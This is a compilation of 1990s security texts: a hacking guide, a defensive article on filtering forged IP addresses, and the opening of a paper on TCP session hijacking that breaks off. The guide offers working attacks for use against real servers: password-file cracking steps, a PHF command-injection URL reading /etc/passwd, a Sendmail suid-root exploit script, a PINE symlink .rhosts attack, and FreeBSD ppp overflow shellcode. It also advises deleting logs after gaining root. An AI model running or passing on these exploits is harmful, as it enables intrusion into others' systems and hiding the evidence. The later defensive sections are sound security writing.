for the Ford Foundation and the DOT while at JPL in 1973)) )
-Avatar-> (aka: Erik K. Sorgatz) KB6LUY
+----------------------------+
TTI(es@soldev.tti.com)or: sorgatz@avatar.tti.com *Government produces NOTHING!*
3100 Ocean Park Blvd. Santa Monica, CA
90405
+----------------------------+
(OPINIONS EXPRESSED DO NOT REFLECT THE VIEWS OF CITICORP OR ITS MANAGEMENT!)
.
Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic
Well Psychotic wrote one of the most helpful unix text files in cyberspace
but with the mail that we recieved after the release of our famous 36
page Unix Bible we realised that unix isn't for everybody so we decided
that we should write on another aspect of hacking..... Virtual Circuit
and Psychotic is proud to release, "Hacking Webpages With a few Other
Techniques." We will discuss a few various ways of hacking webpages
and getting root. We are also going to interview and question other
REAL hackers on the subjects.
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser
is the part that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view
or copy the actual encrypted password. This causes problems for the
password cracker and dictionary maker(both explained later in the text).
Below is another example of a shadowed password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uuc
ico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper
Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although
the files vary from system to system. 1.The first step that you would
take is to download or copy the file. 2. The second step is to find a
password cracker and a dictionary maker. Although it's nearly impossible
to find a good cracker there are a few ok ones out there. I recomend
that you look for Cracker Jack, John the Ripper, Brute Force Cracker,
or Jack the Ripper. Now for a dictionary maker or a dictionary file...
When you start a cracking prog you will be asked to find the the password
file. That's where a dictionary maker comes in. You can download one
from nearly every hacker page on the net. A dictionary maker finds all
the possible letter combinations with the alphabet that you choose(ASCII,
caps, lowercase, and numeric letters may also be added) . We will be
releasing our pasword file to the public soon, it will be called,
Psychotic Candy, "The Perfect Drug." As far as we know it will be one
of the largest in circulation. 3. You then start up the cracker and follow
the directions that it gives you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the
phf I decided to include it.
The phf technique is by far the easiest way of getting a password
file(although it doesn't work 95% of the time). But to do the phf all
you do is open a browser and type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/pas
swd
You replace the webpage_goes_here with the domain. So if you were trying
to get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passw
d
and that's it! You just sit back and copy the file(if it works).
Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also
more complicated then hacking through ftp or using the phf. Before you
can setup an exploit you must first have a telnet proggie, there are
many different clients you can just do a netsearch and find everything
you need.
It's best to get an account with your target(if possible) and view the
glitches from the inside out. Exploits expose errors or bugs in systems
and usually allow you to gain root access. There are many different
exploits around and you can view each seperately. I'm going to list a
few below but the list of exploits is endless.
This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how
you set it up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
and now on to another exploit. I'm going to display the pine exploit
through linux. By watching the process table with ps to see which users
are running PINE, one can then do an ls in /tmp/ to gather the lockfile
names for each user. Watching the process table once again will now
reveal when each user quits PINE or runs out of unread messages in their
INBOX, effectively deleting
the respective lockfile.
Creating
a
symbolic
link
from
/tmp/.hamors_lockfile
to
~hamors/.rhosts(for a generic example) will cause PINE to create
~hamors/.rhosts as a 666 file with PINE's process id as its contents.
One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm
/tmp/.hamors_lockfile.
This was writen by Sean B. Hamor…For this example, hamors is the victim
while catluvr is the attacker:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr
1739 0.0
1.8 100 356 pp3 S
19:07
0:00 grep pine
hamors
1732 0.8
5.7 249 1104 pp2 S
19:05
0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-
1 hamors
elite
4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr
1744 0.0
catluvr
(9
1.8 100 356 pp3 S
19:09)
litterbox:~>
ln
19:08
-s
0:00 grep pine
/home/hamors/.rhosts
/tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr
1759 0.0
1.8 100 356 pp3 S
19:11
0:00 grep pine
hamors
1756 2.7
5.1 226 992 pp2 S
19:10
0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
now on to another one, this will be the last one that I'm going to show.
Exploitation script for the ppp vulnerbility as described by no one to
date, this is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is
how you set it up:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFFER_SIZE
#define OFFSET
156
-290
/* size of the bufer to overflow */
/* number of bytes to jump after the start
of the buffer */
long get_esp(void) { __asm__("movl %esp,%eax¥n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"¥xeb¥x23¥x5e¥x8d¥x1e¥x89¥x5e¥x0b¥x31¥xd2¥x89¥x56¥x07¥x89¥x56¥x0f"
/* 16 bytes */
"¥x89¥x56¥x14¥x88¥x56¥x19¥x31¥xc0¥xb0¥x3b¥x8d¥x4e¥x0b¥x89¥xca¥x52"
/* 16 bytes */
"¥x51¥x53¥x50¥xeb¥x18¥xe8¥xd8¥xff¥xff¥xff/bin/sh¥x01¥x01¥x01¥x01"
/* 20 bytes */
"¥x02¥x02¥x02¥x02¥x03¥x03¥x03¥x03¥x9a¥x04¥x04¥x04¥x04¥x07¥x04";
/* 15 bytes, 57 total */
int i,j;
buf = malloc(4096);
/* fill start of bufer with nops */
i = BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
/* place exploit code into the buffer */
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME", buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);
}
Now that you've gotten root "what's next?" Well the choice is up to you
but I would recommend changing the password before you delete or change
anything. To change their password all you have to do is login via telnet
and login with your new account. Then you just type: passwd and it will
ask you for the old password first followed by the new one. Now only
you will have the new pw and that should last for a while you can now
upload you pages, delete all the logs and just plain do your worstJ
Psychotic writes our own exploits and we will be releasing them soon,
so keep your eyes open for them. We recommend that if you are serious
about learing ethnical hacking that you download our Unix Bible.
~~PSYCHOTIC~~
INTERNET HOLES - ELIMINATING IP ADDRESS FORGERY
COPYRIGHT (C), 1996, MANAGEMENT ANALYTICS - ALL RIGHTS RESERVED
_________________________________________________________________
Series Introduction
The Internet is now the world's most popular network and it is full of
potential vulnerabilities. In this series of articles, we explore the
vulnerabilities of the Internet and what you can do to mitigate them.
An Introduction IP Address Forgery
The Internet Protocol (IP) (RFC791) provides for two and only two
functions. It defines a datagram that can be routed through the
Internet, and it provides a means for fragmenting datagrams into
packets and reassembling packets into the original datagrams. To quote
from RFC791:
The internet protocol is specifically limited in scope to provide the
functions necessary to deliver a package of bits (an internet
datagram) from a source to a destination over an interconnected
system of networks. There are no mechanisms to augment end-to-end
data reliability, flow control, sequencing, or other services
commonly found in host-to-host protocols. The internet protocol
can capitalize on the services of its supporting networks to
provide various types and qualities of service.
Here's a description of an IP datagram, also from RFC791:
0
1
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|
IHL |Type of Service|
Total Length
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
Identification
|Flags|
Fragment Offset
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live |
Protocol
|
Header Checksum
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
Source Address
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
Destination Address
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
Options
|
Padding
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
data
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
data
|
\
\
\
\
|
data
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
data
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Description of an IP Datagram
Note that the 4th line of the description calls for the Source Address
of the datagram. In the simplest form of IP address forgery, the
forger only needs to create a packet containing a false Source Address
and insert it into the Internet by writing it into the output device
used to send information to the rest of the Internet. For the
non-expert forger, there is a tool called iptest which is part of the
free and publicly available ipfilter security package that
automatically forges packets for the purpose of testing configurations
or routers and other IP security setups.
The infrastructure of the Internet consists primarily of a set of
gateway computers and packet routers. These systems have multiple
hardware interfaces. They maintain routing tables to let them decide
which output interface to send a packet out on based on the input
interface that it came in on and the destination IP address specified
in the packet. When a forged packet arrives at an infrastructure
element, that element will faithfully route the packet toward the
destination address, exactly as it would a legitimate packet.
How Can IP Address Forgery Be Used
At its root, IP address forgery is a method of deception, and thus it
can be used in much the same way as other forms of deception.
Dunnigan95 More specifically, and using Dunnigan and Nofi's
classification scheme, here are some quick ideas about how IP address
forgery might be used:
* Concealment: IP address forgery is commonly used to conceal the
identity of an attacker, especially when denial of services is the
goal of the attack.
* Camouflage: IP address forgery is used to make one site appear to
be another as a way to convince the victim, for example, that an
attack is from a University, when in fact it is from a competitor.
* False and Planted Information: IP address forgery can be used to
create the impression that a particular site is acting maliciously
in order to create friction or lead a defender to falsely accuse
an innocent third party.
* Reuses: IP address forgery can be used to support another activity
designed to gain the confidence of the defender. For example, a
salesperson for information security products could create IP
address forgeries in order to convince a client of the need for
their services.
* Displays: IP address forgery has been used in order to lead
defenders to believe that many sites are participating in an
attack when in fact only a small number of individuals are
responsible.
* Demonstrations: IP address forgery has been used to demonstrate a
potential for untraceable attacks as a way to convince defenders
not to try to catch attackers.
* Feints: IP address forgery can be used to try to fool an enemy
into believing that an attack is coming from outside or from a
particular direction, when the real attack is very different. This
is a way to misdirect the enemy into spending limited resources in
the wrong way.
* Lies: IP address forgery has been used to create a more convincing
lie that somebody known to the defender is communicating with them
about a particular matter.
* Insight: IP address forgery can be used to gain insight into how
an opponent reacts and as a sort of probe to determine what sorts
of responses are likely to arise.
Another way to view this issue is in terms of the net effect on
information in information systems. Here is another way of viewing
this issue with an example from each category.
* Corruption of Information: IP addresses are often used as the
basis for Internet control decisions. For example, DNS updates are
often designated as coming only from specific other servers. With
IP address forgery, the entire DNS system could be corrupted,
causing services to be rerouted through enemy servers.
* Denial of Services: The Internet is basically a fragile network
that depends on the proper behavior and good will of the
participants for its proper operation. Without wide-ranging
changes to the way the Internet works, denial of services is
almost impossible to prevent. For example, the same DNS attack
could be used to cause widespread denial of services, or perhaps
even to create loops in the packet delivery mechanisms of the
Internet backbone.
* Leakage of Information: Forged IP addresses can be used to cause a
host to take orders for the delivery of information to enemy sites
by forging authorization as if it were from a legitimate
authorizing site.
* Misplaced Liability: Forged IP addresses could be used, as
described above under False and Planted Information, to cause
defenders to assert claims against innocent bystanders and to lay
blame at the wrong feet.
These are only some of the examples of what forged IP addresses can
do. Without a lot of effort, many other examples can be created.
What Can We Do About It?
As individuals, there is little we can do to eliminate all IP address
forgery, but as a community, we can be very effective. Here's how.
Instead of having all infrastructure elements route all packets, each
infrastructure element could, and should, enforce a simple rule. They
should only route packets from sources that could legitimately come
from the interface the packet arrives on.
This may sound complicated, but it really isn't. In fact, the
technology to do this is already in place, and always has been.
Virtually every router and gateway in existence today allows for the
filtering of packets based on their input interface and IP source and
destination address. This is a necessary component of their operation
and is the basis for the way they route all packets.
The only change that has to be made is for these routers and gateways
to enforce the network structure that is legitimately in place. Or in
other words, the routers and gateways should refuse to route
ridiculous packets. Here are some of the simpler examples of known bad
packets:
* The IP address 127.0.0.1 is ONLY used for internal routing of
packets from a host to itself. There is no legitimate IP datagram
that should pass through a router or gateway with this as the
source address. In fact, routing these packets is dangerous
because they may be used to forge packets from the localhost which
often has special privileges. A recent attack that causes denial
of services involves sending a packet to a host's echo port with
127.0.0.1 as its source address and the echo port as it's source
port. The echo port causes whatever packet it is sent to be
returned to its source. Since the source address is the same port
on the same host, this packet creates an infinite loop which, in
many cases, disables the computer.
* The IP address 0.0.0.0 is not legitimate - full stop. In fact,
there's really no legitimate IP address that should traverse
gateways containing a 0 for one of the address elements.
Unfortunately, many routers use the '.0.' convention in their
filtering tables to indicate any address from 0 to 255 (the whole
range), so blocking these packets may be non-trivial in some
infrastructure elements.
* The IP specification includes provisions for private subnetworks
that are designated for internal use only. There is no legitimate
reason to route packets from these addresses anywhere in the
general Internet infrastructure. (RFC1597) These address ranges
include 10.*.*.*, 172.16-32.*.*, and 192.168.*.* (where *
indicates any value from 0 through 255). No packets should be
routed through the Internet with these addresses as either their
source or their destination.
The next step in eliminating IP address forgery is for the routers and
gateways at each type of infrastructure element to enforce standards
on each interface. Generally, the Internet is broken up into Backbone
providers that provide wide area packet transport services, Private
Networks which are owned and operated by companies, institutions,
government agencies, and other parties for their own purposes, and
Internet Service Providers (ISPs) that provide connections between
the backbone elements and private networks (sometimes including other
ISPs). These roles can be blurred at times, but they are adequate for
our purposes.
* Private Networks: Each private network should;
+ 1) prevent all of the known-bad packets from crossing into or
out of the organization,
+ 2) prevent packets with internal source addresses from
passing inward,
+ 3) prevent packets with external source addresses from
passing outward,
+ 4) prevent packets with external destination addresses from
passing inward, and
+ 5) prevent packets with internal destination addresses from
passing outward.
* ISPs: Each ISP should;
+ 1) prevent all of the known-bad packets from crossing into or
out of their infrastructure,
+ 2) prevent any packet inbound from any of their clients with
a source address not from that client's assigned address
range from passing from the client network,
+ 3) prevent any packets with a destination address not in
their client's address range from passing to the client
network,
+ 4) prevent any packet not from this ISP's legitimate address
range from entering the backbone, and
+ 5) prevent any packets originating from the backbone and not
destined for one of their legitimate IP addresses from
entering their network.
Two additional rules will assist the ISP's clients;
+ 6) prevent inbound traffic from the client with the client's
address as a destination, and
+ 7) prevent outbound traffic to the client with the client's
address claimed to be the source.
* Backbone Networks: Each backbone provider should;
+ 1) prevent all of the known-bad packets from crossing into or
out of their infrastructure,
+ 2) prevent packets originating from any ISP with source
addresses not in that ISP's range of legitimate source
addresses from entering the backbone,
+ 3) prevent any packets not destined for an ISP's address
range from entering that ISP,
+ 4) prevent any packets from any other backbone provider that
could not be properly routed through that provider from
entering their backbone, and
+ 5) prevent any packets from going to any other backbone
provider unless they could legitimately be routed through
that provider to reach their destination.
For backbones, this requires some effort, however the high volume of
information they carry certainly justifies a little effort for
protection.
Some Examples
As an aide to the less technically inclined, the following examples
provide some real world implementation details.
This set of rules applies to a private network (in this case, the
all.net class C network 204.7.229.*) and are written in the format of
the Morningstar PPP (point to point protocol) Filter file:
#
Rule 1 for private networks
#
prevent known-bad address ranges from entering (or leaving)
!172.16-32.0.0
# private network segment
!192.168.0.0
# private network segment
!10.0.0.0
# private network segment
!127.0.0.0
# localhost network
#
Rule 2 for private networks
#
prevent internal source address packets from passing inward
!recv/src/204.7.229.0
# prevent inbound from our network
#
Rule 5 for private networks
#
prevent internal destination addresses from passing outward
#
Note that rule 5 is placed here because the filters are order dependent
!send/dst/204.7.229.0
# prevent our destinations from passing out
#
Rule 3 for private networks
#
prevent external source address packets from passing outward
send/src/204.7.229.0
# allow legitimate outbound sources
!send/src/0.0.0.0
# prevent illegitimate outbound sources
#
Rule 4 for private networks
#
prevent external destinations from passing inward
recv/dst/204.7.229.0
# allow legitimate inbound destinations
!recv/dst/0.0.0.0
# prevent illegitimate inbound destinations
The next set of rules applies to an ISP. In this case, we assume that
the ISP has control over three class B networks that it uses to sell
services to its clients. The class B networks used in this example
have IP addresses of 123.7.*.*, 231.6.*.*, and 201.96.*.*. In this
case, we have three different parts of the example:
This is the router connecting the ISP to the backbone, presented in
the format of a Cisco router with interface 0 connected to the
backbone and interface 1 connected to the ISP's internal network. It
implements rules 1, 4, and 5 for the ISP.
#
Rule 1 for an ISP
#
prevent all of the known-bad address ranges
#
this should be done on all in and out connections
#
on all interfaces in all access control lists
All interfaces in and out
deny ip 172.16-32.0.0
# private network segment
deny ip 192.168.0.0
# private network segment
deny ip 10.0.0.0
# private network segment
deny ip 127.0.0.0
# localhost network
#
Rule 2 for an ISP
#
prevent inbound from client not in client's address range
#
DONE ELSEWHERE
#
Rule 3 for an ISP
#
prevent entry of packets not destined clients from passing their way
#
DONE ELSEWHERE
#
Rule 4 for an ISP
#
prevent exit of packets not from our class Bs
#
on interface 0 (backbone) out filter
Interface 0 out
permit ip 123.7.0.0
permit ip 231.6.0.0
permit ip 201.96.0.0
deny
#
ip 0.0.0.0
Rule 5 for an ISP
#
prevent entry of packets not destined for our class Bs.
#
on interface 0 (backbone) in filter
Interface 0 in
permit ip 123.7.0.0
permit ip 231.6.0.0
permit ip 201.96.0.0
deny
ip 0.0.0.0
Next, we implement rules 2 and 3 for each client by creating separate
(in this example ppp) filters on the ISP's gateway computer. Again,
using the Morningstar ppp Filter format and assuming that Class C IP
network 201.96.1.* is assigned to this particular client:
#
Rule 1 for ISPs
#
prevent known-bad address ranges from entering (or leaving)
!172.16-32.0.0
# private network segment
!192.168.0.0
# private network segment
!10.0.0.0
# private network segment
!127.0.0.0
# localhost network
#
Rule 6 for an ISP
#
prevent inbound traffic from the client destined for the client
#
note that rule 6 is placed here because filters are order dependent
!recv/dest/201.96.1.0
# prevent inbound from client to self
#
Rule 7 for an ISP
#
prevent outbound traffic to the client claimed to be from the client
#
note that rule 7 is placed here because filters are order dependent
!send/src/201.96.1.0
# prevent outbound to client from client
#
Rule 2 for an ISP
#
prevent inbound from client not in client's address range
recv/src/201.96.1.0
# allow legitimate traffic
!recv/src/0.0.0.0
# prevent all other traffic
#
Rule 3 for an ISP
#
prevent entry of packets not destined clients from passing their way
send/dest/201.96.1.0
# allow legitimate traffic
!send/dest/0.0.0.0
# prevent all other traffic
Note that redundant protection is provided in several ways. The ISP
protects the clients from backbone forgery both at the backbone router
and at the client's ppp connection, and protects the backbone from IP
forgery emanating from the ISP both by preventing forgery from clients
and by preventing forgery from within the ISP. Similarly, the ISP
provides redundant protection against improperly configured client
hardware and software. The last two filter rules are to assure that
even if the client is not properly configured to prevent forgery of
internal addresses from the outside world or to prevent internal
traffic from being sent out, this traffic is prevented.
This last example is a simplification of a wide area backbone network
in which this particular router (no type specified) is at the junction
between UK connections and non-UK connections. In this case, it is a
reasonable assumption that all internal UK traffic should remain
internal and that external traffic that gets to this node should be
sent out of the UK never to return. This particular backbone node will
be connected to non-UK traffic on interface 0, our previously
described ISP on interface 1, and the rest of the internal UK backbone
on interface 2.
#
Rule 1 for a backbone
#
prevent all of the known-bad packets from crossing
all-interfaces prevent in/out 172.16-32.0.0
# private network segment
all-interfaces prevent in/out 192.168.0.0
# private network segment
all-interfaces prevent in/out 10.0.0.0
# private network segment
all-interfaces prevent in/out 127.0.0.0
# localhost network
#
Rule 2 for a backbone
#
prevent packets originating from any ISP with non-ISP source address
interface-1 allow in from 123.7.0.0
# ISP traffic
interface-1 allow in from 231.6.0.0
# ISP traffic
interface-1 allow in from 201.96.0.0
# ISP traffic
interface-1 prevent in from 0.0.0.0
# no other inbound traffic
#
Rule 3 for a backbone
#
prevent packets not destined for an ISP from going there
interface-1 allow out to 123.7.0.0
# ISP traffic
interface-1 allow out to 231.6.0.0
# ISP traffic
interface-1 allow out to 201.96.0.0
# ISP traffic
interface-1 prevent out to 0.0.0.0
# no other outbound traffic
#
Rule 4 for a backbone
#
prevent packets from other backbones that shouldn't come this way
interface-0 allow in to UK-1
# UK traffic
interface-0 allow in to UK-2
# UK traffic
...
interface-0 allow in to UK-n
# UK traffic
interface-0 prevent in to 0.0.0.0
# no other inbound traffic
#
Rule 5 for a backbone
#
prevent packets that should stay in our backbone from going out
interface-0 allow out from UK-1
# UK traffic
interface-0 allow out from UK-2
# UK traffic
...
interface-0 allow out from UK-n
# UK traffic
interface-0 prevent out from 0.0.0.0
# no other outbound traffic
In this example, we have assumed that all UK traffic is on IP
addresses identified as UK-1, ..., UKn.
What-ifs and Objections
WHAT IFS?
* What if a private network ignores the rules? It is to be expected
than many private networks will ignore any such rules, either
through ignorance, intent, or inattention. But even if all private
networks ignored all of the rules, the rules for ISPs would
prevent IP forgery from extending to the overall infrastructure.
* What if an ISP ignores the rules? If an ISP ignores the rules and
allows IP forgery, the backbone can protect the rest of the
Internet, at least to the point where forged packets within the
ISP's domain remain within or are traceable to that domain. That
means that the ISP's clients would be subject to IP forgeries from
other clients of that ISP, but that the rest of the Internet would
be able to trace all packets coming from that ISP to that ISP.
* What if the backbone ignores the rules? If all of the backbone
providers ignore the rules, unless everyone else follows them, we
will continue to have IP forgeries through the ISPs that don't
follow the rules.
* What if combinations ignore the rules? Depending on the specific
combinations, we will have more or fewer IP address forgeries. It
turns out that a complete analysis of this issue is not simple
enough to do in the space provided, but a simple conclusion can be
drawn without a full analysis. As more Internet users and
providers prevent IP address forgery, the job of the forger will
become harder and harder. We don't all have to participate in
order to have proper protection, but if we all fail to
participate, the forgeries will continue.
OTHER OBJECTIONS
* Content (common carrier) objections: Many ISPs and backbone
providers don't want or take responsibility for content in the
Internet. Just like a telephone company, they don't want any role
in examining or dictating the content of the messages - they only
want to be a delivery service. It could be argued that examining
the address information in an IP packet and preventing packets
based on those addresses constitutes limitation of content. Of
course the portion of the content involved here must be examined
in order to route the information, and the routing used in the
Internet already provides exclusion of packets based on IP address
ranges. Furthermore, common carriers (in the U.S.) are allowed to
listen to and filter traffic to the extent that this activity is
done solely to assure the proper operation of the network. Thus
this objection would seem to be moot.
* The cost is too high objection: In fact the cost is negligible. If
the rules set forth herein were applied as a normal part of the
installation and maintenance process, it would come to only a few
minutes of effort during each installation. Even applying them to
systems already in place requires only a few minutes of effort,
again an insubstantial amount of effort well within the discretion
of any systems administrator.
* The we don't want restrictions objections: There are a substantial
number of people that want a total lack of restrictions on
information flowing through the Internet. I generally agree with
the principle of free information flow, except in cases where the
freedom of one person infringes on the freedom of others. This
impingement on other peoples' rights applies to certain types of
information, such as routing information, that must be correct in
order for the Internet to work properly. Since the restrictions
described here only assure that the Internet works properly and
don't restrict the content or flow of information, there is no
restriction of the free flow of information here. Only increased
assurance that those who want to use the media for legitimate
purposes will continue to be able to do so.
Summary
This solution we presented:
* 1) is easy to implement,
* 2) makes good sense from a traffic standpoint,
* 3) allows all legitimate activity without any hinderence,
* 4) works even if all parties don't participate,
* 5) costs almost nothing to implement at each site,
* 6) does not require any changes in existing protocols of traffic
patterns,
* 7) makes good sense for the security of each party that
participates, and
* 8) can be done today.
All that remains is for the people in each of these organizations to
implement these protections. Unlike so many of the problems in the
Internet that are hard to solve and will require years of evolution,
this problem can be solved now. We encourage you to implement these
protections at your earliest convenience and to urge other to do so as
well. Together, we can eliminate IP address forgery.
Simple Active Attack Against TCP
Laurent Joncheray
Merit Network, Inc.
4251 Plymouth Road, Suite C
Ann Arbor, MI 48105, USA
Phone: +1 (313) 936 2065
Fax: +1 (313) 747 3185
E-mail: lpj@merit.edu
Abstract
This paper describes an active attack against the Transport
Control Protocol (TCP) which allows a cracker to redirect the TCP
stream through his machine thereby permitting him to bypass the protection
offered by such a system as a one-time password [skey] or
ticketing authentication [kerberos]. The TCP connection is
vulnerable to anyone with a TCP packet sniffer and generator located on
the path followed by the connection. Some schemes to detect this
attack are presented as well as some methods of prevention and some
interesting details of the TCP protocol behaviors.
1. Introduction
Passive attacks using sniffers are becoming more and more
frequent on the Internet. The attacker obtains a user id and password
that allows him to logon as that user. In order to prevent such attacks
people have been using identification schemes such as one-time password
[skey] or ticketing identification [kerberos]. Though
they prevent password sniffing on an unsecure network these methods
are still vulnerable to an active attack as long as they neither
encrypt nor sign the data stream. [Kerberos also provides an
encrypted TCP stream option.] Still many people are complacent believing
that active attacks are very difficult and hence a lesser risk.
The following paper describes an extremely simple active attack
which has been successfully used to break into Unix hosts and
which can be done with the same resources as for a passive sniffing
attack. [The attacks have been performed with a test software
and the users were aware of the attack. Although we do not have any
knowledge of such an attack being used on the Internet, it may
be possible.] Some uncommon
behaviors of the TCP protocol are also
presented as well as some real examples and statistical studies of the
attack's impact on the network. Finally some detection and prevention
schemes are explained. In order to help any reader unfamiliar with the
subtleties of the TCP protocol the article starts with a short
description of TCP.
The reader can also refers to another attack by R. Morris
presented in [morris85]. Though the following attack is related
to Morris' one, it is more widely usable on any TCP connection.
In section 7 we present and compare this attack with
the present one.
The presentation of the attack will be divided into three parts:
the ``Established State'' which is the state where the session is open
and data is exchanged; the set up (or opening) of such a session; and
finally some real examples.
2. Established State
2.1 The TCP protocol
This section offers a short description of the TCP protocol.
For more details the reader can refer to [rfc793]. TCP provides a
full duplex reliable stream connection between two end points. A
connection is uniquely defined by the quadruple (IP address of sender,
TCP port number of the sender, IP address of the receiver, TCP port
number of the receiver). Every byte that is sent by a host is marked with a
sequence number (32 bits integer) and is acknowledged by the receiver
using this sequence number. The sequence number for the first byte sent
is computed during the connection opening. It changes for any new
connection based on rules designed to avoid reuse of the same sequence
number for two different sessions of a TCP connection.
We shall assume in this document that one point of the
connection acts as a server (for instance a telnet server) and the
other as the client. The following terms will be used:
SVR_SEQ: sequence number of the next byte to be sent
by the server;
SVR_ACK: next byte to be received by the server
(the sequence number of the last byte received plus one);
SVR_WIND: server's receive window;
CLT_SEQ: sequence number of the next byte to be sent by
the client;
CLT_ACK: next byte to be received by the client;
CLT_WIND: client's receive window;
At the beginning when no data has been exchanged we have
SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations
are also true when the connection is in a 'quiet' state (no data being
sent on each side). They are not true during transitory states when
data is sent. The more general equations are:
CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WIND
SVR_ACK <= CLT_SEQ <= SVR_ACK + SVR_WIND
The TCP packet header fields are:
Source Port:
The source port number;
Destination Port:
The destination port number;
Sequence number:
The sequence number of the first
byte in this packet;
Acknowledgment Number: The expected sequence number
of the next byte to be received;
Data Offset:
Offset of the data in the packet;
Control Bits:
URG: Urgent Pointer;
ACK: Acknowledgment;
PSH: Push Function;
RST: Reset the connection;
SYN: Synchronize sequence numbers;
